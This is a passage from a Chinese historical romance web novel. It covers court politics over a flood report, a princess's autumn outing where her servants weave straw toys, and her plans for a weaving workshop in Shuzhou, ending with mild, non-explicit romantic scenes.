昨夜她睡的昏昏沉沉，还没有走回床上，就窝在元辞章的怀中睡的昏天黑地。
看来她睡着之后，元辞章不知道又独自写了多久。
毓心见李意清神色懊恼，忍不住轻声问道：“殿下，是有什么不妥吗？”
李意清摇了摇头：“他的奏折时间紧迫，早一点上呈，或许能救下不少性命，挽回不少损失……是为国为民的好事。”
毓心闻言，不禁道：“这样不是很好吗？”
说明驸马真的将黎民百姓放在心中。
“当然很好。”李意清小声道。
只是某一瞬间，她也会有些怀疑，自己当真能有那么大的影响力，能让一个人爱屋及乌到如此地步。
毓心观察着李意清的反应，推测道：“所以，殿下是不是因为心疼驸马，希望驸马不必如此辛苦，所以才会叹息？对，一定是这样。”
毓心话说的极快，出口之后，不等李意清回应，接着道：“不过殿下不必担心，驸马神色如常，倒是并无什么不妥，反而殿下像是夜不能寐，被吸了精气一样。”
160. 请封
李意清被她说得哭笑不得。
毓心打定主意，稍后见了元尧臣一定和他好好说说，炖些鸡汤鸭汤好好给殿下补补。
想想也是，殿下从前住在皇宫，晚间戌时三刻就要入眠，早晨无需请安，可以一直睡到日上三竿。
成婚后，眼见着一日睡的比一日晚。
李意清听毓心斩钉截铁的话，晃了晃自己的脑袋，“哪就那么娇气了。”
毓心：“奴婢不懂什么大公无私，只知道皇后娘娘既然将奴婢指派过来伺候公主，所以公主就是最重要的事情。殿下也不必和我说什么大道理。好了，殿下先出去用饭吧。”
话是请求语句，却并不给人商量的余地。
李意清不容反抗地被拉出去用饭。
*
京城。
舒州水患灾情严重，但损失较小的奏折很快传到京城，几乎是一瞬间，就成了满朝上下热议的话题。
有将信将疑的、也有夸赞元辞章治理有方的。
朝堂之上，随着顺成帝身边内宦一字一句将灾情数据读出来后，原先的不忿都化作哑口无言。
功绩可以造假，但是数据不行。
光是听到伤亡人数的时候，满朝无不瞠目结舌，呆若木鸡。
顺成帝坐在高台上，华丽冰冷的珠冠折射着周围璀璨的光亮，教人不敢直视圣颜。
等内宦最后一个字念完，朝堂上落针可闻。
即便是往日和元辞章并不对付的寒门新派，也面面相觑，不知道从何贬低攻讦。
只有方屿站在人群中，感受时隔多年的快意。
他就说嘛，元辞章这样的存在，不管在哪里都能发光发热。
顺成帝坐在高台上冷眼打量着满朝文武的神色，嘴角忍不住勾起一抹冷笑，“爱卿们为何一言不发？庞爱卿？郑爱卿？”
被点到名的庞大学士汗如雨下。
去年京城燕州雪灾，申报的两万两白银连点水花都没有。
他颤抖着嘴唇，不着痕迹地用袖子擦去额头上渗出的冷汗，声音干巴巴的：“微臣，微臣倾佩元知州的本事……”
顺成帝发出一声意味不明的笑声。
越是捉摸不清，笑声才显得尤为刺耳。
庞大学士几乎是一瞬间就跪在地上。双膝猛地跪在地上，发出“砰”地一声。
他双手捧着玉笏，高高举过头顶，语气已经带了哭腔，语气沉痛道：“陛下，微臣无能，无法为陛下排忧解难，请陛下治臣之罪。”
方屿在心底呸了一声。
新臣派上台后，庞大学士的权势比起昔日的元相有过之而无不及，区区这么点事就开始折腾，无非就是希望满朝新臣为自己求情。
如方屿所料，庞大学士话音一落，立刻就有臣子劝道：“陛下，庞大学士在位日久，没有功劳亦有苦劳，请陛下三思。”
“请陛下三思。”
……
一声声的求情中，低垂着脑袋的庞大学士嘴角勾起一抹胜券在握的笑。
顺成帝雷厉风行，可是五年前才动手惩治元家，两年前处理了孟家，现在即便心中再看不惯他，也要顾及着朝中的动向。
没有哪一个皇帝愿意被史书指着鼻子骂过河拆桥。
顺成帝摩挲着身下冰冷刺骨的龙椅。
龙椅扶手上的花纹精致繁复，明明每年都有匠人重新刷漆，可是已经带上了岁月的痕迹。
他微不可察地蹙起眉间。
台下，庞大学士做着垂泪的姿态，博取可怜。
方屿在心中急得直骂，这老匹夫，原先就没什么本事，如今越发拿乔。
前排的何尚书给了方屿一个安抚的眼神。
柳大学士混在人群中观察着众人的动静，有心卖庞大学士这个好，主动道：“陛下，地情不同，行事自当有所差异。庞大学士对大庆之心，日月可鉴，数年来勤勤勉勉，行事坦荡，是吾等臣子楷模。”
顺成帝咳了一声。
一直沉默的太子李序泽道：“庞大学士殚精竭虑，劳苦功高，是当嘉奖，可是今日在论伯怀之事，当论功行赏……”
柳大学士：“元辞章年纪轻轻，已经官至四品，太子殿下，老臣担心他资历不够。”
方屿冷哼一声：“元知州有真才实干，若陛下信之重之，只会成就一段明君忠臣的美谈，倒是比某些人尸位素餐来得清白。”
柳大学士当即皱眉，怒声道：“你这是在讽刺本官！”
方屿：“不敢，下官可担不起这个罪名。”
柳大学士还欲说话，高台的顺成帝忽然道：“好了。”
他的声音平和，听不出喜色，也听不出怒气。
却犹如千钧。
柳大学士一个激灵，连忙捧着玉笏随众官下拜。
“陛下。”
顺成帝伸手揉了揉眉心，语气随意道：“元知州治理有功，当嘉奖，等年底任期满，论功行赏。庞宜渡，现任翰林院大学士，夙夜匪懈，竭诚尽节，于国事多所建白，于民生多所裨益。司礼监和礼部着手操办，于吉日封为卿相。”
庞大学士脑袋中一阵眩晕，直到旁边有同僚压低声音小声提醒道：“庞大学士，庞大学士，陛下要封赏你，快快谢恩啊。”
庞宜渡这才反应过来，连忙跪在地上，高呼谢恩。
太子李序泽目不斜视，背脊挺拔如松。
可是那一瞬间，却忽然想要甩开肩上的担子，转身就走。
顺成帝对庞宜渡说着“平身”，视线却落在太子的身上。
无声而又压制。
朝中太子党也嗅到了不同寻常的气息，已经快半个月了，顺成帝对太子的态度都冷冷清清的。
这一次顺成帝又是为了新臣派落了太子的面子。长此以往，即便直到太子是陛下亲手教导带出来的，也不免让人心底打鼓。
似乎原先板上钉钉的储君，也变得不再那么牢靠。
李序泽没有回头，却感受到了身后的一道道落在自己身上的视线，有焦虑的，有另作盘算的，也有真心实意担忧的……
对于动摇的人，李序泽虽然有些遗憾，却并不真正伤心。
朝堂风向如此，正如他当初所言，若是有朝一日有比他更适合坐上高台的人，他乐意退位让贤。
时间仿佛被按下了暂停键。
一片静谧之中，忽然一个黄衣小内宦快步穿过朝臣，附耳在顺成帝的身边低语。
众人见怪不怪，这小内宦是跟在从前淑妃，如今淑贵妃身边的太监。
皇后身体抱恙之后，中宫之事大部分转交给淑贵妃处理，原先朝臣还以为淑妃有要事禀告，直到有一日看见一顶灿红色的鸾轿，带着
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阵阵香风，直直朝着金銮殿而去。
那是淑妃从江南寻来的美人，美人如花如玉，肤若凝脂，一笑动人心神。顺成帝大悦，封了顺仪，顺带着升了淑妃的位置，和贤贵妃平起平坐。
眼见着顺成帝慌张起身，连“散朝”都没说，就急匆匆地掀开珠帘离开了大殿。
朝臣叹息一声，三两交头接耳。
“看来是玉顺仪的身体又不舒服了，偏偏陛下还宠着，韩尚书，何尚书，这样下去可怎么好？”
“依下官所见，此风断不可长。”
“不可长？就现在陛下那幅放在心上的模样，你若是敢，你且上去提啊。”
说话之人摸了摸鼻子，不敢再多说。
现在顺成帝可正把这位玉顺仪当成宝贝，这个节骨眼提，不是傻乎乎往枪口上撞呢。
“可是这样下去，也不是个事啊，咱们说不得，可以请后宫的娘娘帮忙劝诫？”
“后宫的娘娘，你是说久卧病榻的皇后娘娘，还是亲自把人带来的淑贵妃？还是一心扑在五皇子身上的贤贵妃？”
闻言，众人不禁有些讪讪。
皇后娘娘德贤兼备，为人亲善，与陛下又是少年夫妻，应当是由她来劝诫最为合适。可是自从年中之后，皇后的身子一日日衰弱，现在已经病榻缠绵。
顺成帝的身影彻底消失在太和殿的时候，首领太监徐钱礼一甩拂尘，清了清嗓子，用他细长而尖锐的嗓音高呼道：“退朝——”
他喊了二十多年，两个字被他喊得抑扬顿挫。
高台上，皇帝已经离开，朝臣对着空无一人的龙椅行叩拜大礼后，三两成群，离开了太和殿。
庞大学士即将封相，此刻正是风光无双的时候，周边围起的官员一层接着一层，一股脑地说着恭维的话。
庞宜渡的脸上浮现一抹酡红色，像是喝了酒一般，听到旁人的奉承，脸上笑容明显，嘴上却还是谦虚道：“庞某资历尚浅，多亏陛下赏识和诸位帮携，以后还要多多仰仗各位。”
他从前便是如此，虽然没有什么大才华，却也挑不出错，话更是说的漂亮。
听到他的话，原先还有些不服气的老臣也多少释怀了些许，低声叹息。
“这朝堂天下，终究还看后辈啊。”
太子李序泽经过的时候，庞宜渡眯了眯眼睛，语气带笑道：“微臣今日能被封赏，多亏太子殿下。不知道殿下是否有空，这两日到庞某府上聚一聚？”
李序泽一身端方的长袍，负手而站。
闻言，微微停下了脚步，语气依旧温和如春风：“庞大学士有意相邀，本殿本应该前往，只是安儿这几日身子不适，离不开本殿……不如等庞大学士进封之际，再一道庆贺，本殿必然备上厚礼。”
庞宜渡脸上的笑不着痕迹地收敛了几分。
“太子殿下这是哪里的话，您能到府上参席，都能让寒舍蓬荜生辉，何必还需要带上东西呢？”
李序泽：“庞大学士一方好意本殿心领，但备礼也是本殿的心意，还希望大学士不会瞧不上。”
庞宜渡刚欲说话，却被李序泽打断。
“时候不早了，庞大学士，本殿就不久留了。”
说完，微微一笑，步履从容的经过一众人等。
庞宜渡卡在喉咙里的话只好咽了下去，俯身作揖：“恭送殿下。”
161. 兔鲤
京城风云诡谲，舒州转眼入秋。
自舒州府今年水患表现被诸州知晓之后，时不五日就会有各州府派出的人员前来学习经验，原先元辞章还以为是自发行为，后来才知道朝廷把这一项当成了年底考核的指标。
原以为忙过初秋能偷得浮生半日闲散，这一下两日相携赏秋的计划再一次被打乱。
秋日潜山红枫不等人，见元辞章抽不出空闲，李意清带着茴香和洛石，去了潜山赏枫。
山路干燥而温暖，地上干枯的落叶失去水分，脚步踏在上面，枯叶碎成齑粉。
越往山上走，枫叶红的越发热烈，山涧的溪流从石头缝隙挤出来，哗啦哗啦，像是山林为谁而唱的歌。
李意清难得如此惬意，行至半路，对身边的茴香和洛石道：“在此事小憩片刻吧。”
茴香立刻点头称好，取出一块干净的布铺在地上，扶着李意清走到树荫底下坐下。
李意清随手在脚边捡起一枚落下的树叶，捻着根茎轻旋，叶片如同飞舞的蝴蝶，振翅欲飞。
温暖而干燥的阳光从树叶层层叠叠的缝隙中落下，在李意清的裙摆上留下一个又一个的光点。
茴香则是专心揪着地上的草，顺道勒令洛石一道帮忙，专把一些细长的草叶。
草叶在她的手中翻飞，不一会儿就变成一只可爱的小兔子。
她献宝一样将手中的草兔子递给李意清。
“殿下，你看！”
李意清顺手接过她编的草兔子，语气有些意外：“你怎么学会的？”
茴香搓掉手上沾染的泥土，站起身笑眯眯道：“是舒窈姐姐教会我的，殿下，除了这个，我还会编小猫。”
她一边说话，一边伸手比划。
洛石将精选采集的草叶塞到她的手里，自己留了两根，学着茴香的动作慢慢编织。
茴香热情相邀，问道：“殿下，你学不学？我教你好不好？”
李意清微笑着摇头拒绝，这些日子一直忙碌案卷的事情，睡眠一直不够。
她在树干上调整了一个舒服的姿势，一只手捻着草编兔子随意放着，另一只手搭在自己的眼前，声音带着隐约的困意。
“你们编着，我先小睡片刻。”
闻言，茴香和洛石点了点头，动作也放轻柔了一些。
像是生怕吵醒了她。
李意清的衣袍覆盖在眼皮上，没一会儿，就沉入梦乡。
直到周边响起篝火的噼啪声。
木头落入火中，猛地窜起一截火星。李意清睁开眼睛，才发现日头已经从正空落入日暮。
看见李意清被吵醒，茴香推攘了洛石一把，小声抱怨道：“我就说要动静小些吧，你看看，殿下难得睡得这么好。”
洛石挠了挠脑袋。
李意清出声解围道：“不关洛石的事情，是我睡好了。”
茴香紧接着问道：“那殿下睡的可还好？”
“很好，一觉无梦。”李意清伸了一个懒腰，打了一个哈欠，“就是腿有些麻了……怎么了？”
茴香道：“晚间山间起风了，怕殿下着凉，既然殿下已经醒了，是否准备回程？”
李意清借助茴香的力气站起身，虽然只在潜山的半山腰上，却能够清晰看见山脚下舒州府的点点灯火。
不似京城连片的光点，却显得格外温馨。
李意清不自觉地弯起嘴角，语气带上几分遗憾，“听说潜山之上有道观庙宇，是世外清净地，看来我们这一趟是无缘得见了。”
洛石道：“若是殿下真想上山中一探虚实，今日也能留宿一晚。”
旁边的茴香也连声附和：“正是。”
毕竟今日一别，不知道他日再登潜山，是何年岁。
他们总是不希望李意清是带着遗憾离开的。
李意清看着两人关切而纵容的神色，站起身拍了拍自己的衣袂。
宝蓝色的裙摆在夜色下发出银线的光泽。
“算了，都是书中传闻，仙人从山而居，而我心之所向——不过一盏灯火。”
她的神色并不遗憾，轻轻回首对两人道：“走罢！”
茴香看李意清的反应，心中稍定，将一篓的草编递给她。
“殿下，你帮我拿一下，我把布收起来。”
一个下午的时间，篓子中除了兔子、小猫、小鸟这些常见的玩意儿，还有不少形状难辨的。
不用说，必然是洛石的手笔。
洛石见李意清拿出一枚松松垮垮的草编后，脸上忽然浮现一抹红色，一个箭步冲上去将草编抢回自己的手中。
“殿下！”
李意清有些好笑地看着他的举动，朝他伸出手，“我看看，那是编的什么？小鸟吗？还是小狗？”
洛石有些纠结地看着李意清洁白的掌心，纠结片刻，才迟疑地将草编放在她的掌心。
李意清仔细打量着被他一握显得更加松垮的草编。
洛石的声音轻如蚊呐：“……都不是，是一条小鲤鱼。”
李意清望着草编的两条腿陷入沉思。
心中震撼，但是表面上依旧浮现了一抹惊叹，睁眼夸赞道：“是，是一只很可爱的小鲤鱼。”
洛石：“……”
他感觉自己收到了羞辱。
“殿下，你仔细看，这是鱼头，这个是鱼尾巴……”
李意清在洛石的指点下重新认识了自己手上的草编。
大受震撼。
她还是有些不解突出的两根如小腿般的存在，问道：“那这两个又是什么？”
洛石一脸的理所当然：“鱼鳍啊。殿下你怎么连这个都看不出来。”
他的语气过于笃定，仿佛没能第一时间认出来是李意清的不是。
收拾完垫布的茴香也凑了近前，恰巧听到洛石自认为无可挑剔的解释，顿时愣在原地。
片刻后，发出一声惊天动地的笑声。
没夸张，旁晚回巢的鸟雀都被惊走了几只。
茴香笑得前仰后合，直不起腰，眼泪都快出来了。
她指着刻意揉曲的“鱼鳍”，笑声不加掩饰：“你管这叫鲤鱼？”
洛石整张脸，从两颊到耳尖全都涨红：“怎么，不像吗？明明就是很像啊！当时我问你，你还点头说好……”
茴香依旧笑得停不住，连连摆手：“休说，休说，日后有朝一日你若是摆上摊卖草编，休说是我教的。”
洛石：“……”
一瞬间，李意清忽然想到了周太傅指着她的鼻尖气呼呼道：“以后说出去，可千万别说是我教的。”
当时的李意清声音乖巧，软软糯糯：“太傅，京城上下都知道您为太子授课，我与二皇兄、裕世子旁听。”
所以即便她不说，满朝上下都知道
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，大公主的授课先生是周灵运周太傅。
周太傅一时哑口无言，对着李意清当时稚嫩且懵懂的视线，一腔怒气无处可发，当即冷哼一声，一拂衣袖，把自己气晕了过去。
而现在，周太傅毫不避讳，亲自予她指点。
更为她取字漱尘。
李意清忍不住莞尔。
洛石本就伤心，一转眼，看见原先改口的李意清也笑了出来，忍不住更伤心了。
“你们……你们，没事，江淇一定会喜欢的。”
茴香忍不住道：“江淇满打满算才两岁不到，你也就会哄孩子了。”
洛石却铁了心思，大踏步地往前走。
三人吵吵闹闹，回到清风居的时候，洛石和茴香还在幼稚地争辩。
“江淇喜欢。江淇和鲤鱼，那可不就是年画娃娃？”
“江淇才不会喜欢呢，江淇肯定更喜欢小兔子。”
“鲤鱼……”
夜里风凉，毓心闻声拿着披风出来，帮李意清系好后，才有些纳闷道：“这是怎么了？出门的时候不还好好的吗？怎么吵起来了？”
李意清看着毓心迷茫的眼神，欲言又止。
她想解释，又不知道从何解释。
毓心听了一会儿，只能听见两人不断争着“兔子”还是“鲤鱼”。
“……所以殿下，他们是在争吵明早吃鱼还是吃兔子吗？真是搞不懂。”
毓心自顾自地叹气，都多大的人了。
李意清拎起满满一篓草编，含笑对毓心道：“不是，是草编。这些我先给江姐姐送去，免得他们吵到人家院子。”
毓心闻言，点了点头。
按照茴香和洛石这幼稚的架势，估计能闹到江淇面前让他评理。
李意清走到隔壁院子门前，轻轻叩响了院门。
“江姐姐。”
江舒窈正在教江荇写大字，几乎是一听到声响，就走到门口，取下门闩。
李意清身为於光公主的消息的满城皆知，江舒窈自然也不例外。
江舒窈看着站在门外的李意清，脸上并不见拘束，她搓着沾到指尖的墨水，语一边请她进来一边小声问道：“你这些日子早出晚归，可算是忙完了？”
李意清看着她平和关切的面容，嗯了一声：“差不多了。”
她走到院子中，江荇手脚麻利地端来茶水，江淇则是走到她的身边，朝她张开双手。
他现在年纪小，讲话不利索，只能眼巴巴地望着李意清。
李意清坐下后，伸手将江淇抱在了自己腿上，又对身边站着的江荇道：“谢谢荇儿。”
江荇朝她直笑。
“意清姐姐，你总算来看我们啦。你都不知道，江淇这些天天天探头朝院子张望。”
李意清闻言有些意外，伸手捏了捏江淇圆润的脸颊，放软了声音问：“真的呀？”
江淇一个劲儿地咯咯笑，伸手去够李意清的发丝，亲昵之色溢于言表。
眼见着真要拽住头发了，江舒窈才温柔而不失严厉地制止道：“淇儿，不许闹。”
被点名的江淇睁着水润的眸子，小模样委屈而又无辜，仿佛在说“我没有闹”。
江舒窈假装严厉呵斥，可是一看见江淇乖巧的模样，又忍不住心软。
她伸手揉了揉江淇的脑袋，才轻声询问：“你这么晚来此，可是有什么要事？”
162. 桂花膏
李意清：“没什么，茴香和洛石一路上编的小玩意儿，你看看。”
江舒窈当然记得这草编还是自己学会后教给茴香的。
她伸手拿了一个草编兔子放在手中认真端详，“没想到茴香学的这么快，编的可真好。这，这是洛石编的吗？”
李意清刚欲开口，就听到江舒窈柔柔地打断她。
“也很可爱，淇儿肯定喜欢。”
李意清默默看了怀中的江淇一眼。
是吗，真的会喜欢吗？
江淇睁着如黑葡萄一样的眼眸四下张望，看见李意清微微蹙紧眉间，伸手去够她的发丝。
动作轻柔，像是安慰。
李意清点了点他的鼻尖，听到江舒窈有些唏嘘的语气。
“那时候，我刚与滕子鹤决裂，正在月子里，没什么挣钱的出路。”江舒窈双手托腮，“我还要养大荇儿和淇儿，这草编，算是我那秀才爹爹唯一教会我的东西。依靠着草编，根本喂不饱三个肚子。”
李意清看着她陷入回忆的神色，微微一怔。
自出事之后，李意清忙于其他，已经很久没有和江舒窈坐在月下长聊。
只偶尔听茴香和毓心说，江舒窈过得越来越好。
这样就很好，李意清心想。
江舒窈看向李意清，笑意盈盈：“我知道，那段时间是你一直默默帮我。如果没有你，真不敢想象这日子该怎么过来。正如你今夜踏月而来，应该是任期一满，就准备离开吧。”
李意清没有否认：“是。”
江舒窈早就做好心理准备。
闻言，只是扬起一抹笑，语气认真：“你放心，现在的我在绣房忙活，已经可以温饱。”
江舒窈说的绣房，正是城中比较集中的衣裳缝补，裁做的地方。
舒州府蚕桑发达，却不盛产布匹，反倒是从庐州江宁一带运布回来较多。
李意清听着她雀跃的语气，也忍不住弯起了嘴角。
不过，绣房……
她的心中忽然浮现了一个想法，可是时间紧迫，未必能变成现实。
怀中的江淇不知道什么时候已经睡着了，秋日的夜里，四周安静，细小的蝇虫在脚下飞。
江舒窈把熟睡的江淇抱起来。
江淇乍然被人移动位置，立刻哼哼唧唧有要醒的趋势，江舒窈连忙伸手拍着他的背，哼着家乡小曲哄他入睡。
旁边的江荇走到李意清的身边，伸手去牵她的手，“姐姐，我送你回去吧。”
李意清看着她明亮的眼眸，将那一声就在隔壁咽了下去，笑眯眯地回握住她。
直到李意清进了院子，江荇才一溜烟离开。
茴香和洛石正吵完上半场，两人说的口干舌燥，见李意清从外面回来，有些意外地看着她。
“殿下，你去哪了？”
李意清：“将草编送过去了。”
茴香：“那他们是更喜欢我编的兔子还是洛石编的鲤鱼。”
李意清：“……”
毓心在旁边哭笑不得，伸手拉住茴香一副不说清今晚都别睡的架势，对李意清道：“殿下，驸马洗漱完，正在等你。”
李意清愣了一瞬，“等我，驸马可说了是什么事情？”
“驸马没说，”毓心推攘着李意清，“殿下你先去看看吧，奴婢先去给您烧水。”
走近屋内，元辞章正站在书架边，手中捧着一卷书。
神情专注。
他今日洗了头，海藻般的长发披在身后，滴滴答答滴着水。
拿起放在椅子上的毛巾，李意清走到元辞章的身后，踮起脚捂住他的长发。
凑得近了，李意清才闻到他长发上的浅香。
“这是什么皂角，怎么闻着这么香？”
“是松柏。”元辞章回了一句，主动半弯下腰，让李意清更方便一些。
原来如此。
李意清一边擦拭，一边点头。
等水差不多擦到不往下滴的时候，元辞章伸手握住了李意清的手腕，牵着她走到书案前坐下。
李意清感受双肩上的重量，转头询问道：“毓心说你有事找我，是什么事情？”
元辞章“唔”了一声，专心帮李意清拆解着头上的珠冠。
半响，才轻声道：“京城诏书，年底回京述职，提前结束舒州任期。”
李意清眸中满是笑：“这是好事啊！父皇宣你回京，想来会加封你的官职。”
元辞章看着她一脸轻松惬意的笑容，轻轻点了点头。
诏书确实有提到加封的意味，但是不知为何，他心中总有一阵隐隐的不安。
“不要担心，无论是舒州还是京城，我都会陪在你的身边。”李意清回头，眼睛亮晶晶地看着他。
元辞章：“嗯。”
“对了，今日我还有别的事情想和你说，”李意清沉默了片刻，还是决定将自己的想法说出来，“舒州盛产蚕桑，却并无纺布作坊，我倒是有意在舒州城东圈一块地……”
说到后面，李意清的声音越来越小。
今日见到江舒窈，听她说起绣房，李意清才想起这桩事情。
府城能做的营生有限，绣房的位置亦是难求。
只是现在时间紧迫，她担心自己又如城南书院一般，草草提出想法，却无法落实到位。
元辞章沉吟片刻，对李意清道：“殿下既然有这个想法，微臣愿意相助。”
不等李意清出声询问，元辞章主动道：“刚好，元家从前经营些许布坊生意，虽然没有花楼机，寻常纺车倒是有不少架。”
李意清：“那敢情好，等我知晓市面上纺车价钱，定不会叫你折本。”
她眉宇间的迟疑一扫而空，转而化作满满的干劲。
“花楼机需要匠人制作，舒州怕是不好寻，等我去信问问皇祖母和母后，应该能解决此事。”李意清语气轻快了起来，“等日后即便换了地方，江姐姐他们也可以有一个过活的营生。”
元辞章看着她认真的面容，忍不住轻笑一声。
“殿下真是考虑周全。”
连离开之后的事情，也都安排妥当。
李意清倒是不觉得，她站起身，拍了拍裙摆上并不存在的灰，对元辞章道：“我先去洗漱，你帮我写书函目首。”
元辞章应了声，提袖磨墨。
墨水在砚台中缓缓晕开。
李意清走到门边，忽然听到元辞章的声音：“对了，写往何处？”
“京城皇宫，”李意清手扶着门框，朝他眨了眨眼睛，“花楼机的匠人，我一个人可解决不来。”
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元辞章看着她灵动的表情，微微莞尔。
李意清说完，迈步离开寝屋。
偏房里，毓心正在将烧开的热水倒入澡盆，蒸腾的热气中，李意清闻到了一股浓郁的药材味道。
李意清：“水里放了什么？”
毓心：“是杜掌柜配的药包，说是泡了之后驱寒，奴婢记得殿下到了冬日手脚生凉，现在早早泡起来，有备无患。”
李意清“噢”了一声，解开身上的衣裙将自己浸泡在水中。
药材的味道散在水中，在氤氲的热气中十分明显，可是一旦闻习惯，却是不怎么刺鼻。
毓心用手试探着澡盆中的温度，然后用一旁的木盖盖上了热水桶。
入秋之后，水总是凉的格外快。
李意清闭上眼睛，感受着毓心落在她肩上揉捏的力道。
毓心一边帮忙洗，一边往澡盆中添着热水。
“殿下，这个力道行吗？”
“殿下？睡着了？”
毓心绕到李意清的面前，果不其然看见她闭上的眼眸。
毓心放轻了手上的动作，拿起布襟拧干水，将李意清的脸庞擦拭干净。
加过第三遍热水的时候，毓心才把李意清推醒。
“殿下，洗好了。”
李意清睁开眼睛，眼神懵懂，面颊被热水熏的微红。
水声哗啦。
一阵响动后，李意清披上外衫，坐在一旁的软椅上。
毓心在木柜前挑挑选选，拿出一个墨青色的小瓷瓶，打开盖子后，桂花的香味四溢。
她用指尖挖了一点，用掌心揉开后帮李意清的胳膊和腿抹上。
李意清软绵绵地抬手任毓心动作。
擦完，毓心伸手又在李意清的鼻尖点了一下。
李意清朝她望去，毓心抿唇偷笑，一边拎着木桶一边朝外走去，“脸上的桂花膏殿下记得自己擦开。”
“好。”李意清看着她离开的背影，刚准备伸手揉开，突然想起了寝屋中的元辞章。
她站起身，一路小跑着回到了寝屋。
屋中，灯火如豆。
元辞章已经写完书函的封面，看见李意清只穿着纱制里衣就匆匆跑来。
李意清一路跑到元辞章的面前，仰面看着他。
“元辞章，你帮我揉开。”
元辞章愣了一瞬，视线落在她水润的唇上。
李意清：“看我鼻尖。”
元辞章喉结微微滚动，目光缓缓上移，而后才看见她鼻尖上一点淡黄色的桂花膏。
“快点呀。”李意清小声催促。
元辞章垂眸，将她拉入自己的怀中，伸手将鼻尖的膏揉开。
从李意清的视角望去，他侧着身，微微低头，纤长的眼睫投下一小片扇形的阴影，神情专注而认真。
再往下，能看见他凸起的喉结，此刻微微滑动。
白皙的脖颈线条流畅，和背后已经干了的墨发形成鲜明对比。
李意清兴起的玩心忽然收敛，脸上一片绯红，连说话声音都有些结结巴巴，“好了，不用你帮忙……”
她一边说着，准备一边站起身。
匆忙后退中，踩到了元辞章下垂的衣摆。
几乎是一个趔趄，又重新摔回了元辞章的怀中。
163. 悠闲冬日
头顶传来元辞章若有似无地闷笑声，极轻地一声，快到李意清怀疑是自己幻听。
“夫人真的自己可以吗？”
李意清还趴在他的怀中，说什么，都仿佛会落了下风。
她索性一动不动，默不作声。
元辞章的手不确定地落在李意清的肩上。
“夫人？”
李意清：“我可以。”
元辞章愣了一瞬才反应过来李意清说的是什么意思。
他语气像是哄着，带着清越的笑：“嗯，夫人可以。”
李意清搭着元辞章的胳膊使劲，站起来后，欲盖弥彰道：“我刚刚，并不是害羞。只是，只是地有点滑。”
元辞章一瞬不瞬地看着她，笑意从容：“是我不好，头发上的水珠落到地上。”
“无妨，”李意清别开脸，“反正你也接住我了。”
后半句话的声音很小。
元辞章听见了。
李意清忍不住又鼓起腮帮子看向他。
这一看，原先还能故作的镇定瞬间染上一抹红霞。
方才拉扯之间，元辞章身上的霜蓝色广袖长袍被拉扯开，露出沟壑分明的肌肉。
元辞章平时注重饮食和锻炼，身上的肌肉恰到好处，既不过分夸张，也不显得薄弱。
每次发力的时候，腰腹部的肌肉会绷成一条直线，上面沁着汗珠。
脑海中忽然短暂地一片空白。
元辞章顺着她的视线低头看了一眼，动作略显随意、慵懒地将自己的衣带重新系好。
李意清鬼使神差道：“系好做什么，反正只有你我同在屋中。”
话音落下，寝屋中诡异地沉默了两秒。
李意清后知后觉发现自己的话实在孟浪。
“我不是这个意思。”
李意清在心中否认：我就是这个意思。
元辞章：“夫人说的对。”
他站起身，身量高挑，绰约的烛火下更显颀长。
霜蓝色的衣衫衬他如松上雪，云间月。
皎洁而清冷非常。
李意清心中警铃大作，脚下却仿佛被胶水粘在了原地。
耳边的呼吸声越发明显。
“确实没什么关系。”元辞章在她耳边轻轻吹着气，“夫人想看，自然随时可以。”
李意清表面风轻云淡，实则心中早已掀起惊涛骇浪。
她想，果然是近墨者黑。
而且元辞章不讲理，有时候喊她夫人，有时候喊她殿下，两种称呼交错着来，她根本毫无招架之力。
“先等等，”李意清故作镇定地开口，“我先将写给母后的书信写完。”
元辞章挑眉，让开一个身位，让李意清坐在了书案前。
墨水是已经磨好的，笔是已经润过的，思绪是完全没有的。
就如同当年书院小考一般。
元辞章在旁好心道：“殿下若是没有想好写什么，微臣愿意代劳。”
李意清咬着唇苦思冥想，闻言，有些狐疑地看向他。
元辞章：“殿下早些写完，才能早些休息。”
李意清：“……就知道你没安好心。”
元辞章轻笑了一声，正了正神色，询问了李意清书函中具体需要写的内容后，开始专心落笔。
李意清在旁边托腮看着，眉眼弯弯。
一撇一捺，灵动飘逸。
元辞章写完，偏头问道：“可有什么需要补充？”
“很好。”李意清摇了摇头，语气含笑，“就是我不会写的这么工整。”
元辞章：“是我考虑不周，我再修改一番。”
李意清笑：“不用了，母后肯定能认出来这不是我的字。这样就很好了。”
她伸手将书信捻起，墨水入纸即干，对折后放入函封中。
“还请知州大人明日帮我将书函带去驿站。”李意清用镇尺将函封压在一旁，朝元辞章伸出手，“我也好偷懒，偷得浮生半日闲。”
元辞章的视线落在她伸手的手上。
白皙，光洁，细长的指尖泛着晶莹的粉色。
这个季节的指甲花已经谢了，也不知道是用什么染的。
指甲修剪得圆润干净。
元辞章眸色深了几分。
他顺着伸出的手一拉，李意清第二次摔入元辞章的怀中。
李意清的脑袋重重的撞在了元辞章的胸膛上，发出沉闷的一声。
好在有弹性，并没有想象中的那么疼。
李意清懵了一瞬才抬头看他，用的陈述语气：“你故意的。”
元辞章并不理会她的娇嗔，伸手将她打横抱起，语气镇定：“第一次不是。”
算是默认这次是他故意的。
李意清忍了忍，没忍住，小声道：“元辞章，你真的……”
她本来想说学坏了，可是转念一想，这根本不是学坏了。
元辞章以前就不是一个清风明月的人物。
她闷闷地将后半句话咽了回去，后来不论元辞章如何逼问，都缄默不语。
只会在受不住的时候，泄出一两分难耐的嘤咛。
*
舒州的第一场大雪，来的比京城稍晚一些。
元辞章难得休沐，和许三在狭小的书房中一通整理。
湿气多的地方，书容易生潮，许三点了熏炉，一本本的摊开烘烤。
烘烤讲究细心，书页纤薄，很容易一不小心就烧出一片焦痕。
门外，茴香和毓心正在收拾准备带回去的行囊。
启程还需要几日，可是有些东西现在就该准备起来了。
李意清坐在门边的矮凳上翻着元辞章新带回来的话本，话本讲的狐妖相公和名门千金的故事，故事一波三折，李意清看得很是入迷。
尤其是书中关于魑魅魍魉的描写，雾气缭绕的幽林人影幢幢，可走近一看，根本什么都没有。
正是玄妙之处，破庙中浮现一抹身影，李意清看得屏住呼吸。
就在这时，肩上忽然被人一拍，毓心抱着一袭枫红的斗篷和一件靛蓝色的斗篷。
“殿下，你回去的时候穿哪一件？”
李意清被吓了一跳，看见毓心的脸蛋后才把提起的一颗心放回了肚子，随意瞄了一眼后，“枫红吧。”
京城下雪之后，朱门琉璃瓦，和红衣绝配。
毓心：“殿下和奴婢想的一样。枫红似火，穿上之后人的气色都会好看许多。”
李意清合上书本，看着她问完，又兴奋地拿着衣裳跑远。
门外，驴车拴在树干，旁边放着不少木箱。<
